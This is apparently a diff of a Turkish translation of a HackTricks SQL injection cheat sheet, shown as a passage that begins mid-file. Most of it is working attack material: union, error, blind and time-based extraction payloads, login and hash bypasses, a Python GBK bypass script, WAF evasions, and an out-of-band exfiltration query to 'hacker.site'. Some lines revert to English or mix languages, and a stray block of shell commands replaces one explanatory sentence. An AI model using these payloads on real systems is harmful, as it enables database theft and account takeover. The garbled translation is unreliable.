çıkarma -Sonraki örneklerde, tüm veritabanlarının adını, bir veritabanının tablo adını ve tablonun sütun adlarını alacağız: +Aşağıdaki örneklerde tüm veritabanlarının adlarını, bir veritabanının tablo adlarını ve bir tablonun sütun adlarını alacağız: ```sql #Database names -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata @@ -272,53 +270,53 @@ Sonraki örneklerde, tüm veritabanlarının adını, bir veritabanının tablo #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] ``` -_Bu verileri keşfetmenin her farklı veritabanında farklı bir yolu vardır, ancak metodoloji her zaman aynıdır._ +_Her farklı veritabanında bu veriyi keşfetmenin farklı bir yolu vardır, ancak her zaman aynı metodolojidir._ -## Gizli Union Tabanlı Sömürü +## Gizli Union Based'in Sömürülmesi -Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyon mümkün görünmüyorsa, bu **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun belirlenmesi gerekir. +When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned. -Bu, hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tablolarla birlikte kör enjeksiyon tekniklerinin kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurulması önerilir. +This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised. -Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve bu, yeni erişilebilir union tabanlı enjeksiyonun sömürülmesini kolaylaştırır. +Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection. -Daha kapsamlı bilgiler için, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) adresindeki tam makaleye başvurun. +For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). -## Hata Tabanlı Sömürü +## Error based'in Sömürülmesi -Eğer bir sebepten dolayı **sorgunun** **çıkışını** göremiyorsanız ancak **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından **veri sızdırmak** için kullanabilirsiniz.\ -Union Tabanlı sömürüdeki benzer bir akışı takip ederek veritabanını dökme işlemini gerçekleştirebilirsiniz. +If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\ +Following a similar flow as in the Union Based exploitation you could manage to dump the DB. ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` -## Blind SQLi'yi İstismar Etme +## Exploiting Blind SQLi -Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **doğru** veya **yanlış** bir yanıt döndürdüğünü **ayırdedebilirsiniz** çünkü sayfada farklı içerikler vardır.\ -Bu durumda, veritabanını karakter karakter dökmek için bu davranışı kötüye kullanabilirsiniz: +Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **return** ettiği yanıtın **true** veya **false** olduğunu **distinguished** edebilirsiniz çünkü sayfada farklı içerikler gösterilir.\ +Bu durumda, bu davranışı kullanarak database'i char by char dökebilirsiniz: ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` -## Hata Kör SQLi İstismarı +## Error Blind SQLi'yi Sömürme -Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** ile ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz: +Bu, **öncekiyle aynı durum**dur; ancak sorgudan dönen true/false yanıtı arasında ayrım yapmak yerine SQL sorgusunda bir **hata** olup olmadığını **ayırt edebilirsiniz** (ör. HTTP server çöktüğü için). Bu nedenle, bu durumda doğru char'ı tahmin ettiğinizde her seferinde bir SQLerror zorlayabilirsiniz: ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` -## Zaman Tabanlı SQLi İstismar Etme +## Time Based SQLi'yi İstismar Etme -Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını** **ayırmanın** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresini uzatabilirsiniz**. Bu tekniği daha önce [bir SQLi zafiyetini doğrulamak için](#confirming-with-timing) kullanırken gördük. +Bu durumda sayfanın bağlamına göre sorgunun **cevabını** **ayırt etmek** için hiçbir yol **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenmesinin daha uzun sürmesini** sağlayabilirsiniz. Bu tekniğin daha önce [confirm a SQLi vuln](#confirming-with-timing) amacıyla kullanıldığını zaten görmüştük. ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` ## Stacked Queries -Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya** **geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz. +stacked queries kullanarak **ardışık olarak birden fazla sorgu çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle bu teknik öncelikle **blind vulnerabilities** ile ilişkilidir; burada ikinci bir sorgu ile bir DNS lookup, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz. -**Oracle** **stacked queries**'i desteklemez. **MySQL, Microsoft** ve **PostgreSQL** bunları destekler: `QUERY-1-HERE; QUERY-2-HERE` +**Oracle** desteklemez **stacked queries.** **MySQL, Microsoft** ve **PostgreSQL** bunları destekler: `QUERY-1-HERE; QUERY-2-HERE` ## Out of band Exploitation -Eğer **başka** bir istismar yöntemi **çalışmadıysa**, **veritabanının** bilgiyi sizin kontrolünüzdeki **harici bir hosta** sızdırmasını sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla: +Eğer **no-other** exploitation method **worked** ise, bilgilerin sizin kontrolünüzdeki bir **external host**'a **database ex-filtrate** edilmesini sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla: ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` @@ -326,13 +324,13 @@ select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ```sql a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - ``` -## Otomatik Sömürü +## Otomatik İstismar -Bir SQLi zafiyetini sömürmek için [SQLMap Cheatsheet](sqlmap/index.html)'e bakın ve [**sqlmap**](https://github.com/sqlmapproject/sqlmap) kullanın. +SQLi açığını [SQLMap Cheatsheet](sqlmap/index.html) ile [**sqlmap**](https://github.com/sqlmapproject/sqlmap) kullanarak sömürmek için bakın. -## Teknik spesifik bilgiler +## Teknolojiye özel bilgi -Bir SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı daha fazla hile bulabilirsiniz: +SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı bazı ek hileleri bulun: - [MS Access](ms-access-sql-injection.md) - [MSSQL](mssql-injection.md) @@ -340,42 +338,42 @@ Bir SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. B - [Oracle](oracle-injection.md) - [PostgreSQL](postgresql-injection/index.html) -Ya da **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hileyi** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) adresinde bulabilirsiniz. +Veya **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hile** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) -## Kimlik Doğrulama Atlatma +## Kimlik doğrulama atlatma -Giriş işlevselliğini atlatmayı denemek için liste: +Login işlevini atlatmaya çalışmak için denenebilecek liste: {{#ref}} ../login-bypass/sql-login-bypass.md {{#endref}} -### Ham hash kimlik doğrulama Atlatma +### Ham hash ile kimlik doğrulama atlatma ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` -Bu sorgu, MD5'in kimlik doğrulama kontrollerinde ham çıktı için true ile kullanıldığında bir zayıflığı sergilemektedir ve bu durum sistemi SQL injection'a karşı savunmasız hale getirmektedir. Saldırganlar, bu durumu, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak istismar edebilir ve yetkisiz erişim sağlayabilir. +Bu sorgu, MD5'in raw output için true ile kullanıldığı kimlik doğrulama kontrollerinde bir zayıflığı gösterir ve sistemi SQL injection'a karşı savunmasız bırakır. Saldırganlar, hashlendiğinde beklenmedik SQL komutu parçaları üreten girdiler hazırlayarak bunu sömürebilir ve yetkisiz erişime yol açabilir. ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! ``` -### Enjekte Edilmiş Hash Kimlik Doğrulama Atlatma +### Injected hash authentication Bypass ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ``` -**Tavsiye edilen liste**: +**Önerilen liste**: -Kullanıcı adı olarak listenin her satırını ve şifre olarak her zaman: _**Pass1234.**_ kullanmalısınız.\ -_(Bu payload'lar, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_ +Listede her satırı username olarak kullanmalısınız, password ise her zaman: _**Pass1234.**_\ +_(Bu payloads, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_ {{#file}} sqli-hashbypass.txt {{#endfile}} -### GBK Kimlik Doğrulama Atlatma +### GBK Authentication Bypass -Eğer ' kaçış yapılıyorsa %A8%27 kullanabilirsiniz ve ' kaçış yapıldığında şu şekilde oluşturulacaktır: 0xA80x5c0x27 (_╘'_) +Eğer ' escape ediliyorsa %A8%27 kullanabilirsiniz; ve ' escape edildiğinde şu şekilde oluşacaktır: 0xA80x5c0x27 (_╘'_) ```sql %A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 @@ -390,76 +388,82 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) print r.text ``` -### Polyglot injection (multicontext) +### Polyglot injection (çoklu bağlam) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ## Insert Statement -### Mevcut nesne/kullanıcının şifresini değiştirme +### Mevcut nesne/kullanıcının parolasını değiştir -Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **oluşturmaya** çalışmalısınız (kullanıcılar için muhtemelen **admin**): +Bunu yapmak için bir şeyi değiştirerek **"master object" ile aynı adda yeni bir nesne oluşturmayı** (kullanıcılar için muhtemelen **admin**) denemelisiniz: -- Adı **AdMIn** olan bir kullanıcı oluşturun (büyük & küçük harfler) -- Adı **admin=** olan bir kullanıcı oluşturun -- **SQL Truncation Attack** (kullanıcı adı veya e-posta için bir tür **uzunluk sınırı** olduğunda) --> Adı **admin \[bir sürü boşluk] a** olan bir kullanıcı oluşturun +- Şu kullanıcıyı oluştur: **AdMIn** (büyük & küçük harfler) +- Şu kullanıcıyı oluştur: **admin=** +- **SQL Truncation Attack** (kullanıcı adı veya email için bir tür **uzunluk limiti** olduğunda) --> Şu kullanıcıyı oluştur: **admin \[a lot of spaces] a** #### SQL Truncation Attack -Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısını taklit etmek istiyorsanız, "_admin \[30 boşluk] a_" adında bir kullanıcı adı oluşturmaya çalışın ve herhangi bir şifre belirleyin. +Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısı gibi davranmak istiyorsanız, şu kullanıcı adını oluşturmaya çalışın: "_admin \[30 spaces] a_" ve herhangi bir parola. -Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" **yeni şifreyle** güncelleyerek **sonundaki tüm boşlukları otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez). +Veritabanı **girilen** **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecek**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 spaces]_") kadar **kısaltacak** ve daha sonra **sondaki tüm boşlukları otomatik olarak kaldırarak** veritabanında "**admin**" kullanıcısını **yeni parola** ile güncelleyecektir (bazı hatalar görülebilir fakat bu, işlemin başarısız olduğu anlamına gelmez). -Daha fazla bilgi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) +More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) -_Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi artık çalışmayacaktır. Karşılaştırmalar varsayılan olarak son boşlukları hala göz ardı etse de, bir alanın uzunluğundan daha uzun bir dize eklemeye çalışmak bir hataya yol açacak ve ekleme başarısız olacaktır. Bu kontrol hakkında daha fazla bilgi için:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) +_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) -### MySQL Ekleme zaman tabanlı kontrol +### MySQL Insert zaman tabanlı kontrol -VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Eğer gecikme gerçekleşirse, bir SQLInjection'a sahipsiniz. +VALUES ifadesinden çıkmak için gerektiğini düşündüğünüz kadar `','',''` ekleyin. Eğer delay yürütülürse, SQLInjection vardır. ```sql name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` ### ON DUPLICATE KEY UPDATE -MySQL'deki `ON DUPLICATE KEY UPDATE` ifadesi, UNIQUE indeks veya PRIMARY KEY'de bir tekrar eden değere neden olacak bir satır eklenmeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek için nasıl istismar edilebileceğini göstermektedir: +MySQL'de `ON DUPLICATE KEY UPDATE` ifadesi, bir satır eklenmeye çalışıldığında ve bu satırın UNIQUE index veya PRIMARY KEY içinde tekrar eden bir değere yol açması durumunda veritabanının hangi işlemleri yapacağını belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının parolasını değiştirmek için nasıl istismar edilebileceğini göstermektedir: -Örnek Yük Enjeksiyonu: +Example Payload Injection: -Bir enjeksiyon yükü şu şekilde oluşturulabilir; burada `users` tablosuna iki satır eklenmeye çalışılmaktadır. İlk satır bir aldatmaca, ikinci satır ise mevcut bir yöneticinin e-posta adresini hedef alarak şifreyi güncellemeyi amaçlamaktadır: +Bir injection payload şu şekilde hazırlanabilir; burada `users` tablosuna iki satır eklenmeye çalışılmaktadır. İlk satır oyalama amacıyla, ikinci satır ise mevcut bir yöneticinin e-posta adresini hedefleyerek parolayı güncellemek içindir: ```sql INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` -İşte nasıl çalıştığı: +İşleyişi şöyle: -- Sorgu, `generic_user@example.com` için bir satır ve `admin_generic@example.com` için başka bir satır eklemeye çalışır. -- Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir. -- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre kullanılarak kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword", istenen şifrenin gerçek bcrypt hash'i ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder). +- Sorgu iki satır eklemeye çalışır: biri `generic_user@example.com` için, diğeri ise `admin_generic@example.com` için. +- Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesini söyler. +- Sonuç olarak, kimlik doğrulama `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen parola kullanılarak denenebilir ("bcrypt_hash_of_newpassword" ifadesi yeni parolanın bcrypt hash'ini temsil eder; bu, istenen parolanın gerçek hash'i ile değiştirilmelidir). -### Bilgi çıkarma +### Bilgi çıkarımı #### Aynı anda 2 hesap oluşturma -Yeni bir kullanıcı ve kullanıcı adı oluşturulmaya çalışıldığında, şifre ve e-posta gereklidir: +Yeni bir kullanıcı oluşturulmaya çalışıldığında username, password ve email gereklidir: ``` SQLi payload: username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - A new user with username=otherUsername, password=otherPassword, email:FLAG will be created ``` -#### Ondalık veya onaltılık kullanma +#### Onluk veya onaltılık kullanma -Bu teknikle yalnızca 1 hesap oluşturarak bilgi çıkarabilirsiniz. Hiçbir şeyi yorumlamanıza gerek olmadığını belirtmek önemlidir. +Bu teknikle yalnızca 1 hesap oluşturarak bilgi çıkarabilirsiniz. Herhangi bir şeyi yorum satırı haline getirmenize gerek olmadığını belirtmek önemlidir. -**hex2dec** ve **substr** kullanarak: +**hex2dec** ve **substr** kullanılarak: ```sql '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` -Metni almak için şunu kullanabilirsiniz: +``` +cat src/pentesting-web/sql-injection/README.md +git show HEAD:src/pentesting-web/sql-injection/README.md +sed -n '1,200p' src/pentesting-web/sql-injection/README.md +less src/pentesting-web/sql-injection/README.md +curl -s https://raw.githubusercontent.com////src/pentesting-web/sql-injection/README.md +``` ```python __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` -**hex** ve **replace** (ve **substr**) kullanarak: +Kullanarak **hex** ve **replace** (ve **substr**): ```sql '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' @@ -468,9 +472,9 @@ __import__('binascii').unhexlify(hex(215573607263)[2:]) #Full ascii uppercase and lowercase replace: '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` -## Yönlendirilmiş SQL enjeksiyonu +## Routed SQL injection -Yönlendirilmiş SQL enjeksiyonu, enjekte edilebilir sorgunun çıktı vermeyen bir sorgu olduğu, ancak enjekte edilebilir sorgunun çıktısının çıktı veren sorguya gittiği bir durumdur. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) +Routed SQL injection enjekte edilebilen sorgunun doğrudan çıktı vermediği; bunun yerine enjekte edilen sorgunun çıktısının çıktı üreten başka bir sorguya aktarıldığı bir durumdur. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Örnek: ``` @@ -483,7 +487,7 @@ Yönlendirilmiş SQL enjeksiyonu, enjekte edilebilir sorgunun çıktı vermeyen ### No spaces bypass -No Space (%20) - boşluk alternatifleri kullanarak atlatma +No Space (%20) - whitespace alternatifleri kullanarak bypass ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- @@ -492,31 +496,31 @@ No Space (%20) - boşluk alternatifleri kullanarak atlatma ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` -No Whitespace - yorumlar kullanarak atlatma +No Whitespace - yorumlar kullanarak bypass ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` -No Whitespace - parantez kullanarak atlatma +No Whitespace - parantez kullanarak bypass ```sql ?id=(1)and(1)=(1)-- ``` ### No commas bypass -No Comma - OFFSET, FROM ve JOIN kullanarak bypass +No Comma - bypass kullanarak OFFSET, FROM ve JOIN ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` -### Genel Bypass'ler +### Genel Bypasses -Anahtar kelimeleri kullanarak kara liste - büyük/küçük harf kullanarak bypass yapma +Anahtar kelimeler kullanarak Blacklist - büyük/küçük harf kullanarak bypass ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` -Anahtar kelimeleri büyük/küçük harf duyarsız olarak kara listeye alma - eşdeğer bir operatör kullanarak atlatma +Anahtar kelimelerle yapılan büyük/küçük harf duyarsız blacklist - eşdeğer bir operator kullanarak bypass ``` AND -> && -> %26%26 OR -> || -> %7C%7C @@ -524,10 +528,10 @@ OR -> || -> %7C%7C > X -> not between 0 and X WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) ``` -### Bilimsel Notasyon WAF atlatma +### Bilimsel Gösterim WAF bypass -Bu hile hakkında daha derin bir açıklamayı [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) adresinde bulabilirsiniz.\ -Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullanabilirsiniz: +Bu hileyle ilgili daha ayrıntılı bir açıklamayı [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ +Temelde, WAF'ı bypass etmek için bilimsel gösterimi beklenmedik şekillerde kullanabilirsiniz: ``` -1' or 1.e(1) or '1'='1 -1' or 1337.1337e1 or '1'='1 @@ -535,28 +539,55 @@ Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullan ``` ### Sütun İsimleri Kısıtlamasını Aşma -Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu** unutmayın, sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag` +Öncelikle, eğer **orijinal sorgu ile flag'i çıkarmak istediğiniz tablo aynı sütun sayısına sahipse** şunu yapabilirsiniz: `0 UNION SELECT * FROM flag` -Bir tablonun **üçüncü sütununa ismini kullanmadan erişmek** mümkündür, aşağıdaki gibi bir sorgu kullanarak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sqlinjection'da bu şöyle görünecektir: +Bir tablonun üçüncü sütununa ismini kullanmadan erişmek mümkündür; aşağıdaki gibi bir sorgu ile: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu yüzden bir sqlinjection'da bu şöyle görünür: ```bash # This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; ``` -Veya **virgül atlatması** kullanarak: +Veya **comma bypass** kullanarak: ```bash # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` -Bu hile [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) adresinden alınmıştır. +Bu taktik şu adresten alınmıştır: [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) -### WAF atlatma öneri araçları +### Column/tablename injection in SELECT list via subqueries + +Kullanıcı girdisi SELECT listesine veya table/column identifiers olarak birleştiriliyorsa, prepared statements işe yaramaz çünkü bind parameters yalnızca değerleri korur, identifiers için değil. Yaygın bir savunmasız örüntü şudur: +```php +// Pseudocode +$fieldname = $_REQUEST['fieldname']; // attacker-controlled +$tablename = $modInstance->table_name; // sometimes also attacker-influenced +$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param +$stmt = $db->pquery($q, [$rec_id]); +``` +İstismar fikri: field konumuna bir subquery inject ederek herhangi bir veriyi exfiltrate etmek: +```sql +-- Legit +SELECT user_name FROM vte_users WHERE id=1; + +-- Injected subquery to extract a sensitive value (e.g., password reset token) +SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1; +``` +Notlar: +- Bu, WHERE ifadesi bağlı bir parametre kullansa bile çalışır; çünkü identifier listesi hâlâ string olarak birleştirilir. +- Bazı stack'ler ayrıca tablo adını kontrol etmenize izin verir (tablename injection), bu da tablolar arası okumalara olanak sağlar. +- Çıktı noktaları seçilen değeri HTML/JSON içine yansıtabilir, bu da yanıt üzerinden doğrudan XSS veya token exfiltration'a izin verebilir. + +Önlemler: +- Kullanıcı girdilerinden gelen identifier'ları asla birleştirmeyin. İzin verilen sütun adlarını sabit bir beyaz listeye eşleyin ve identifier'ları doğru şekilde tırnaklayın. +- Dinamik tablo erişimi gerekiyorsa, bunu sonlu bir küple sınırlayın ve güvenli bir eşlemeyle sunucu tarafında çözün. + +### WAF bypass öneri araçları {{#ref}} https://github.com/m4ll0k/Atlas {{#endref}} -## Diğer Kılavuzlar +## Diğer Rehberler - [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) @@ -568,5 +599,8 @@ https://github.com/m4ll0k/Atlas https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt {{#endref}} -​ +## Referanslar + +- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) + {{#include ../../banners/hacktricks-training.md}}